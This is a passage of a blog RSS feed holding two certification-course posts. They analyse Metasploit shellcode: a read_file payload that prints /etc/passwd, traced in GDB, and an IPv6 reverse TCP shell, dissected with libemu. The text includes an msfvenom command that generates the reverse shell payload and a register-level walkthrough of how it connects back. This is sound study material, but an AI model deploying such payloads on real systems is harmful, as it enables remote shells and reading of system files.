outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-position: 0px 0px; border: 0px; color: red; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/article&gt;&lt;br /&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; clear: both; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 14px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;post-footer&quot; style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 14px; line-height: 1.6; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;label-head&quot; style=&quot;background: 0px 0px; border: 0px; margin: 20px 0px 0px; outline: 0px; overflow: hidden; padding: 0px; position: relative; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/02/polymorphic-shellcodes.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/-QbGHJTu3h7A/WpZjq6X4joI/AAAAAAAACBg/gzE50Gl3Gtwf8XrfgFrqfBcFYLXVMeRegCLcBGAs/s72-c/Screenshot%2B2018-02-28%2B13.38.08.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-472697867898701560</guid><pubDate>Fri, 23 Feb 2018 20:46:00 +0000</pubDate><atom:updated>2018-02-24T02:16:11.492+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 5</category><title>Art of Shellcoding: Metasploit Read File Payload Analysis</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Today, we will be looking at Metasploit&#39;s linux/x86/read_file payload. In this post, we will uncover how this payload works internally when it tries to read the /etc/passwd file. We will use GDB-Peda for our analysis. Using msfvenom, i created a file, i.e., read. Elf and while i was generating the file i used PATH value as /etc/passwd.&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-sfRylUIrVVQ/WpB8yaRlVqI/AAAAAAAACAw/6c9_tc4sp44qO0Zm4s0oVkdfvkxMmz_9wCEwYBhgL/s1600/search-file-analysis-graph-statistics-report-chart-marketing-business-finance-3254b663135eecf5-512x512.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;512&quot; data-original-width=&quot;512&quot; height=&quot;200&quot; src=&quot;https://2.bp.blogspot.com/-sfRylUIrVVQ/WpB8yaRlVqI/AAAAAAAACAw/6c9_tc4sp44qO0Zm4s0oVkdfvkxMmz_9wCEwYBhgL/s200/search-file-analysis-graph-statistics-report-chart-marketing-business-finance-3254b663135eecf5-512x512.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Therefore, when the file is made to execute, it will read the contents of the /etc/passwd and will display it on the screen as shown in the following image:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-TRY1xz0TbA0/WpBwodSwEGI/AAAAAAAAB-o/KRPpNc4HKBwwI5ZKVNvFXejlGurgEwVtwCLcBGAs/s1600/Screenshot%2B2018-02-24%2B01.19.10.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://3.bp.blogspot.com/-TRY1xz0TbA0/WpBwodSwEGI/AAAAAAAAB-o/KRPpNc4HKBwwI5ZKVNvFXejlGurgEwVtwCLcBGAs/s640/Screenshot%2B2018-02-24%2B01.19.10.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Let&#39;s load this file into GDB-Peda, set a breakpoint on the shellcode(&lt;i&gt;using *&amp;amp;shellcode&lt;/i&gt;) and run the program.We are presented with the following screen:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-7pHN7dReAqc/WpBxpudXSbI/AAAAAAAAB-0/bBv0sVsCiTAA1JwUngEBxevEzPSEFMmXwCLcBGAs/s1600/Screenshot%2B2018-02-24%2B01.13.39.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://1.bp.blogspot.com/-7pHN7dReAqc/WpBxpudXSbI/AAAAAAAAB-0/bBv0sVsCiTAA1JwUngEBxevEzPSEFMmXwCLcBGAs/s640/Screenshot%2B2018-02-24%2B01.13.39.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We can see that the very first instruction is a Jump statement. Taking the jump, we have the following instruction:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-4PuVZXZvGoE/WpByLrO3SeI/AAAAAAAAB-8/RIzLkYjxJmo2MybJ3-GLWI0XalhbNPZfwCLcBGAs/s1600/Screenshot%2B2018-02-24%2B01.13.57.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-4PuVZXZvGoE/WpByLrO3SeI/AAAAAAAAB-8/RIzLkYjxJmo2MybJ3-GLWI0XalhbNPZfwCLcBGAs/s640/Screenshot%2B2018-02-24%2B01.13.57.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Taking the call instruction, we are presented with the following screen:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-spv1GRgNPnM/WpByed73c9I/AAAAAAAAB_A/K5yTpKi_q3UV4_CjRxtyDKqzsMn2icb9gCLcBGAs/s1600/Screenshot%2B2018-02-24%2B01.14.04.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-spv1GRgNPnM/WpByed73c9I/AAAAAAAAB_A/K5yTpKi_q3UV4_CjRxtyDKqzsMn2icb9gCLcBGAs/s640/Screenshot%2B2018-02-24%2B01.14.04.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Looks like we finally arrived at the shellcode and the previous two statements were nothing but a JUMP-CALL sequence which would have pushed the hardcoded file path onto the stack. We can see that the stack contains /etc/passwd which is the path we defined in the shellcode. Nevertheless, the first instruction is to move 0x5 to EAX register.&amp;nbsp; The 0x5 value denotes sys_open system call which follows the following format:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;color: #502000; font-family: monospace, courier; font-size: 16px;&quot;&gt;open(const char *&lt;/b&gt;&lt;i style=&quot;color: #006000; font-family: monospace, courier; font-size: 16px;&quot;&gt;pathname&lt;/i&gt;&lt;b style=&quot;color: #502000; font-family: monospace, courier; font-size: 16px;&quot;&gt;, int &lt;/b&gt;&lt;i style=&quot;color: #006000; font-family: monospace, courier; font-size: 16px;&quot;&gt;flags&lt;/i&gt;&lt;b style=&quot;color: #502000; font-family: monospace, courier; font-size: 16px;&quot;&gt;);&lt;/b&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The open call requires *pathname in the EBX register. So, the next instruction in the shellcode, which is, pop ebx not only completes the JUMP-CALL-POP sequence but sets the open system call perfectly. In the next instruction, ECX gets cleared out and now have a value 0 in it. A successful open should return the file descriptor in EAX register. Let&#39;s see:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-Fj8kQv6dd_k/WpB08-zRc0I/AAAAAAAAB_o/lS2u4U9NrEsI5MCMJDQpXs805nUCocUxwCLcBGAs/s1600/Screenshot%2B2018-02-24%2B01.39.03.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://1.bp.blogspot.com/-Fj8kQv6dd_k/WpB08-zRc0I/AAAAAAAAB_o/lS2u4U9NrEsI5MCMJDQpXs805nUCocUxwCLcBGAs/s640/Screenshot%2B2018-02-24%2B01.39.03.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We can see the descriptor in EAX. The next statement moves the descriptor to EBX. Next, EAX is loaded with 0x3 which is sys_read system call:&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre style=&quot;color: #181818; font-family: monospace, courier; font-size: 16px; margin-left: 8px; text-align: center;&quot;&gt;&lt;b style=&quot;color: #502000;&quot;&gt;ssize_t read(int &lt;/b&gt;&lt;i style=&quot;color: #006000;&quot;&gt;fd&lt;/i&gt;&lt;b style=&quot;color: #502000;&quot;&gt;, void *&lt;/b&gt;&lt;i style=&quot;color: #006000;&quot;&gt;buf&lt;/i&gt;&lt;b style=&quot;color: #502000;&quot;&gt;, size_t &lt;/b&gt;&lt;i style=&quot;color: #006000;&quot;&gt;count&lt;/i&gt;&lt;b style=&quot;color: #502000;&quot;&gt;);&lt;/b&gt;&lt;/pre&gt;&lt;pre style=&quot;color: #181818; font-family: monospace, courier; font-size: 16px; margin-left: 8px; text-align: center;&quot;&gt;&lt;b style=&quot;color: #502000;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/pre&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We can see that to setup read system call. EBX should be loaded with fd&amp;nbsp;which is the file descriptor. However, EBX has already been set up using the previous instruction. The next instruction is to move the top of the stack to EDI, and in the next instruction, it is transferred to ECX which is the register to be set up for *buf. Finally, move 0x1000 to EDX will move 0x1000 as the count. Let&#39;s see the next segment:&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-UrV24aFJ0Mc/WpB4Y63gIfI/AAAAAAAACAA/YUh543ngFLwtRpz_1Bps-l6BVyDxYQJfACLcBGAs/s1600/Screenshot%2B2018-02-24%2B01.47.30.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://3.bp.blogspot.com/-UrV24aFJ0Mc/WpB4Y63gIfI/AAAAAAAACAA/YUh543ngFLwtRpz_1Bps-l6BVyDxYQJfACLcBGAs/s640/Screenshot%2B2018-02-24%2B01.47.30.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next&amp;nbsp;instruction will issue the interrupt for the read system call. In the next one, the result from EAX is moved to EDX. Next, 0x4 is moved to EAX which is nothing but syscall number for write system call. The value 0x1 is moved to EBX which means that the output will be written to console.The ECX register is unaffected by the previous call and is not required to be set up again. Hence, the interrupt is issued:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-rGXIndQiZRk/WpB6sTU0jQI/AAAAAAAACAY/yFRyqmKRbpEvCYBJQGgOhZFW9vOqTUsiQCLcBGAs/s1600/Screenshot%2B2018-02-24%2B02.03.38.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-rGXIndQiZRk/WpB6sTU0jQI/AAAAAAAACAY/yFRyqmKRbpEvCYBJQGgOhZFW9vOqTUsiQCLcBGAs/s640/Screenshot%2B2018-02-24%2B02.03.38.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In the final segment of the code, The value 0x1 is moved to EAX which denotes an exit call. Additionally, 0x0 is moved to EBX as the error_code and interrupt is issued which will terminate the program.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We saw that the shellcode works by opening the file using open call, reading it using read call and outputting&amp;nbsp;the data onto the console using write system call and finally making an exit using the exit system call. Pretty Straightforward.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: red; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; outline: 0px; text-align: left; transition: all 0.3s ease;&quot; /&gt;&lt;span style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: red; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: red; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot; style=&quot;background: 0px 0px; border: 0px; color: #f2132d; margin: 0px; outline: 0px; padding: 0px; text-decoration-line: none; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; outline: 0px; text-align: left; transition: all 0.3s ease;&quot; /&gt;&lt;span style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: red; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: red; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/02/metasploit-read-file-shellcode-analysis.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://2.bp.blogspot.com/-sfRylUIrVVQ/WpB8yaRlVqI/AAAAAAAACAw/6c9_tc4sp44qO0Zm4s0oVkdfvkxMmz_9wCEwYBhgL/s72-c/search-file-analysis-graph-statistics-report-chart-marketing-business-finance-3254b663135eecf5-512x512.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5790062534566560791</guid><pubDate>Thu, 22 Feb 2018 18:54:00 +0000</pubDate><atom:updated>2018-02-23T00:24:47.199+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ipv6 shellcode</category><category domain="http://www.blogger.com/atom/ns#">metasploit</category><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 5</category><title>Art of ShellCoding: Metasploit IPv6 Reverse TCP Shellcode Analysis</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-fjeCEZasWwY/Wo8PD3Op-0I/AAAAAAAAB-I/7Y5yzjxoFGwKLlPFHhz6t11eN3dgi7WkwCLcBGAs/s1600/back-door-300x199.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Shellcode Backdoor IPv6&quot; border=&quot;0&quot; data-original-height=&quot;199&quot; data-original-width=&quot;300&quot; height=&quot;210&quot; src=&quot;https://3.bp.blogspot.com/-fjeCEZasWwY/Wo8PD3Op-0I/AAAAAAAAB-I/7Y5yzjxoFGwKLlPFHhz6t11eN3dgi7WkwCLcBGAs/s320/back-door-300x199.jpg&quot; title=&quot;Shellcode Backdoor&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Most of us have worked a lot with IPv4 payloads and shellcodes. Let us see how different is Metasploit IPv6 Shellcode and how does it work. In this post, we will make use of libemu to conduct out our analysis on the IPV6 Reverse TCP shellcode. We will also use strace to aid our analysis. Throughout the analysis, our agenda is to figure out the key differences between an IPv4 and IPv6 shellcode. We will try to figure out the differences between the two. So let&#39;s get started. Let&#39;s Generate the shellcode with msfvenom using the following command in conjunction with sctests from libemu:&lt;/div&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot; style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;msfvenom -p linux/x86/shell/reverse_ipv6_tcp LHOST=::1 LPORT=4444 -f raw | /opt/libemu/bin/sctest -vvv -Ss 10000&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We will have the following output:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-ACevpZlQtDA/WoHxXOKpGbI/AAAAAAAAB8w/IJn09QFlcQg9p5Tiy1RdYrJcJI_8f4xNwCLcBGAs/s1600/Screenshot%2B2018-02-10%2B01.41.55.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;255&quot; data-original-width=&quot;946&quot; height=&quot;172&quot; src=&quot;https://2.bp.blogspot.com/-ACevpZlQtDA/WoHxXOKpGbI/AAAAAAAAB8w/IJn09QFlcQg9p5Tiy1RdYrJcJI_8f4xNwCLcBGAs/s640/Screenshot%2B2018-02-10%2B01.41.55.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We can see that we have two systems calls in this shellcode. The first is the socket setup and the next one is connect. We can use libemu with the -G option to create a dot based graphics file which simplifies things for us. The dot graph file can then be converted into a PNG image using the dot utility in linux. Let us see the obtained PNG as follows:&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/--E-2LLy5jW4/WoHyHSiYH-I/AAAAAAAAB84/_HDoNXBwhbIij4o9DJuZpI5bjQK4YDgYQCLcBGAs/s1600/ipv6.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1013&quot; data-original-width=&quot;725&quot; height=&quot;640&quot; src=&quot;https://1.bp.blogspot.com/--E-2LLy5jW4/WoHyHSiYH-I/AAAAAAAAB84/_HDoNXBwhbIij4o9DJuZpI5bjQK4YDgYQCLcBGAs/s640/ipv6.png&quot; width=&quot;458&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Let&#39;s analyze the above flow diagram. In the very first block, We start by clearing out EBX register which means that now EBX contains 0. We push this value onto the stack. Next, we increment EBX register making its value as 1 and push it again to the stack. Next, we push 10 onto the stack. Hence the stack (from the top) becomes a structure like {10,1,0}. In the next step, we simply point this structure to ECX. Hence ECX now contains the address of the structure we created above. The structure consists of very similar values as in the first screenshot. This means 0 points to the protocol(0), 1 to the type and 10 as the domain, i.e., AF_INET6(IPv6). Type 1 denotes SOCK_STREAM. Next, we simply perform a push-pop to EAX with the syscall number 0x66 that denotes socketcall.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hence, we have EAX: 0x66 , EBX: 0x1, ECX:{10,1,0} and we issue the interrupt. The arrangement will issue a socketcall of type SYS_SOCKET with the domain as 10 (IPV6) and type as SOCK_STREAM.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The result of the above syscall will be stored to EAX. Hence, we perform an XCHG operation to move the value to ESI. Next, we issue a CWD (Convert to DWORD) which will extend EAX to EDX. Hence clearing out values in EDX as well.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next, we will setup connect system call. For the connect system call to work, we require 0x66 in EAX register denoting the socketcall, 0x3 in EBX register and ECX pointing to the stack structure.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Talking about the structure, we will require the following structure pointed to by the ECX register( I found the following structure using strace):&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;&lt;br /&gt;{sa_family=AF_INET6, sin6_port=htons(4444), inet_pton(AF_INET6, &quot;::1&quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hence, the first part is to set up the inet_pton structure and then embed it as a part of the full structure. We start by setting up the values for sin6_addr to 0 using push dword 0 and similarly setting up ::1 address and AF_INET6 as&amp;nbsp;0x5c11000a. Setting up this structure, We move the stack pointer to ECX and begin setting up rest of the remaining values.&lt;br /&gt;&lt;br /&gt;Next three push operations will make the new structure as {Result from the previous system call, Current Pointer in ECX, 28}. Hence, we push ECX after pushing 28(length) and ESI register, since it holds the result sockfd from the previous call. Next, we just need to point this current structure in ECX, Increment&amp;nbsp;EBX to 3(Connect syscall), 0x66(socketcall) in EAX and issue the interrupt.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;The last part of the image is nothing but sys_read system call. The read system call should be called in the following manner:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;&lt;br /&gt;ssize_t read(int fd, void *buf, size_t count);&lt;/blockquote&gt;&lt;br /&gt;Therefore, in the shellcode, we have EAX with 0x3(sys_read), EBX with file descriptor by moving it to EBX from ESI. Next, We move 0xc to DH which will set EDX with a huge value for the length.&lt;br /&gt;&lt;br /&gt;Note: ECX register remains unchanged, and we issue the interrupt.&lt;br /&gt;&lt;br /&gt;Throughout this exercise, we saw that there isn&#39;t much difference between IPv4 and IPv6 reverse TCP shellcodes. The only changes are the domain value and address of the host. The logic of the connection remains the same. Nothing fancy!!&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot; style=&quot;background: 0px 0px; border: 0px; color: #f2132d; margin: 0px; outline: 0px; padding: 0px; text-decoration-line: none; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span id=&quot;goog_1275964878&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_1275964879&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;background: 0px 0px; border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 